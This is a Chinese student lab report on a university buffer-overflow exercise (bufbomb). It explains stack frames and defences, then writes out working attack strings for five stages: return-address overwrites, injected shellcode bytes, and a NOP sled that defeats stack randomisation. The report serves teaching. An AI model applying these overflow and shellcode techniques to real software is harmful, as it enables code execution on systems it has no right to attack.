第1章 实验基本信息
1.1 实验目的
理解C语言函数的汇编级实现及缓冲器溢出原理;
掌握栈帧结构与缓冲器溢出漏洞的攻击设计方法;
进一步熟练使用Linux下的调试工具完成机器语言的跟踪调试。
1.2 实验环境与工具
1.2.1 硬件环境
x64 CPU;1.60GHz;8G RAM;256GHD Disk。
1.2.2 软件环境
Windows10 64位。
1.2.3 开发工具
VM VirtualBox 6.1;Ubuntu 20.04 LTS 64位;
Visual Studio 2019 64位;CodeBlocks 17.12 64位;vi/vim/gedit+gcc。
1.3 实验预习
上实验课前,必须认真预习实验指导书(PPT或PDF)
了解实验的目的、实验环境与软硬件工具、实验操作步骤,复习与实验有关的理论知识。
第2章 实验预习
2.1 请按照入栈顺序,写出C语言32位环境下的栈帧结构(5分)
上一个栈帧 |
参数N |
. . . . . . |
参数2 |
参数1 |
返回地址 |
上一栈帧的ebp |
局部变量 |
2.2请按照入栈顺序,写出C语言64位环境下的栈帧结构(5分)
上一个栈帧 |
参数N |
. . . . . . |
参数8 |
参数7 |
返回地址 |
上一栈帧的rbp |
局部变量 |
参数1 |
参数2 |
. . . . . . |
参数6 |
2.3请简述缓冲区溢出的原理及危害(5分)
原理:程序在栈中分配某个字符数组来保存一个字符串,假设C对数组引用不进行边界检查,若字符串的长度超过了为数组分配的空间,多出来的内容将覆盖栈中存放其他信息的空间,而系统并不能察觉这些空间被更改,无论这种更改是否是恶意的。
危害:当程序无意中使用这些被错误更改的空间时,由于这些空间的内容不再是原来他们存储的内容,可能会发生严重错误,轻则程序出现错误,重则程序崩溃,甚至黑客还可以可以利用缓冲区溢出有意令程序执行它本来不愿执行的黑客设置的具有恶意的函数,从而完成对计算机的攻击。
2.4请简述缓冲器溢出漏洞的攻击方法(5分)
1.攻击代码使用系统调用启动一个shell程序,给攻击者提供一组操作系统函数;
2.或攻击代码执行一些未授权的任务,修复对栈的破坏,然后第二次执行ret指令,(表面上)正常返回到调用者。
2.5请简述缓冲器溢出漏洞的防范方法(5分)
1.使用安全函数;
2.栈随机化;
3.栈破坏检测(金丝雀/哨兵);
4.限制可执行代码区域(AMD/Intel “NX”);
5.支持变长栈帧。
第3章 各阶段漏洞攻击原理与方法
每阶段25分,文本10分,分析15分,总分不超过80分
3.1 Smoke阶段1的攻击与分析
文本如下:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 bb 8b 04 08
分析过程:
在bufbomb的反汇编代码bufbomb.s中找到getbuf函数,分析getbuf的栈帧结构,可知缓冲区分配0x28=40字节空间,为使程序返回到smoke函数,计算函数返回地址位置40(buf)+4(ebp)+4(ret)=48字节,于是将前44字节改为任意数字,将最后四个字节改为smoke函数地址。
如图可知smoke函数地址为08048bbb,按小端法输入顺序为bb 8b 04 08
构造攻击字符串如下:
攻击成功:
3.2 Fizz的攻击与分析
文本如下:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 e8 8b 04 08
00 00 00 00 f2 b1 67 59
分析过程:
成功调用fizz函数需要传递参数,即攻击函数参数区,因此既需要找到fizz函数地址,也要找到参数储存的地址。
找到fizz函数反汇编代码,可以看到fizz地址为08048be8,观察到函数中将
eax与edx比较,推测edx为fizz的参数。
可以看到edx从ebp+8处得到值,下面开始分析栈帧结构以获得参数在缓冲区的位置:在getbuf调用完毕后,将栈顶的值esp复制给eip指令寄存器,然后esp+4,esp将值赋给ebp,即在调用getbuf返回后,ebp+4,现在ebp处于原缓冲区栈帧返回地址位置,在ebp+8处得到参数,则可知参数在缓冲区位置为返回地址后8个字节。
下面开始构造攻击字符串:前48字节同smoke函数的攻击,返回地址处存放fizz地址,后八位放参数(cookie)。
通过makecookie获得学号对应cookie,按小端法放入攻击字符串后八位。
攻击成功:
3.3 Bang的攻击与分析
文本如下:
c7 05 60 e1 04 08 f2 b1
67 59 68 39 8c 04 08 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 78 35 68 55
分析过程:
对Bang的攻击需要构造含有恶意代码的字符串,将全局变量改为cookie值,因此需要先找到储存全局变量的地址,并编写代码进行修改。
经过观察可知比较的两个值为eax和ebx,无论是否相等,eax在比较结束后被赋值为ebx地址所指向的值。
使用gdb查看地址0x804e158得其为cookie值,则更改的目标地址为0x804e160。
编写恶意代码更改全局变量
编译及反汇编得机器指令
从eax得到缓冲区开始地址0x55683578
编写攻击字符串,返回缓冲区开始地址并从缓冲区开始执行指令
攻击成功
3.4 Boom的攻击与分析
文本如下:
b8 f2 b1 67 59 68 a7 8c
04 08 c3 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 35 68 55 78 35 68 55
分析过程:
要使攻击程序能返回原调用函数test继续执行,需要还原堆栈帧的破坏。
观察反汇编test代码
test调用getbuf后返回到0x8048c9f,可知getbuf栈帧中返回地址为0x8048ca7。test调用getbuf后会保存test的ebp,通过gdb查看test调用getbuf前的edp为0x556835c0,则gutbuf中保存的ebp为0x556835c0。
编写恶意代码boom.s,将cookie作为参数传递给eax,将0x8048ca7设为即将返回的地址。
编译并反汇编得到机器代码,编写攻击字符串boom.txt,使40字节之后分别为ebp和缓冲器开始地址。
攻击成功
3.5 Nitro的攻击与分析
文本如下:
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 b8 f2 b1
67 59 8d 6c 24 18 68 21 8d 04 08 c3 98 33 68 55
分析过程:
由于栈帧地址随机变化,想要得到testn的ebp不能通过gdb得到,但由于栈帧中ebp和esp相对位置是确定的,我们可以通过恶意代码利用getbufn的esp得到testn的ebp地址。
通过下图分析可知testn的ebp为getbufn返回前esp+0x18。返回地址为0x8048d21。
编写恶意代码nitro.s
编译并反汇编nitro.o,得到机器指令
由于栈帧地址随机,无法得到缓冲区开始地址。
因为随机栈是连续的,我们只需将无用的栈帧填充为nop(机器码:90),则栈指针在找到可以执行的恶意代码之前持续向下进行寻找,不会做任何动作。则我们将返回地址放在随机栈中足够高的地址,则无论返回到什么位置,栈指针都会向下继续寻找可以执行的代码,并返回到另一个栈帧继续进行寻找。
缓冲区分配空间为0x208字节,加上ebp4字节,返回地址4字节,缓冲区开始位置-0x208(%ebp)。
如图可知缓冲器开始地址大致范围在0x55683398到0x55683318之间,我们将第一次返回地址设为0x55683398。
攻击成功
代码、附件github地址
https://github.com/ChenDolph7in/HITICS-LABS-in-21-Spring/tree/master/Lab4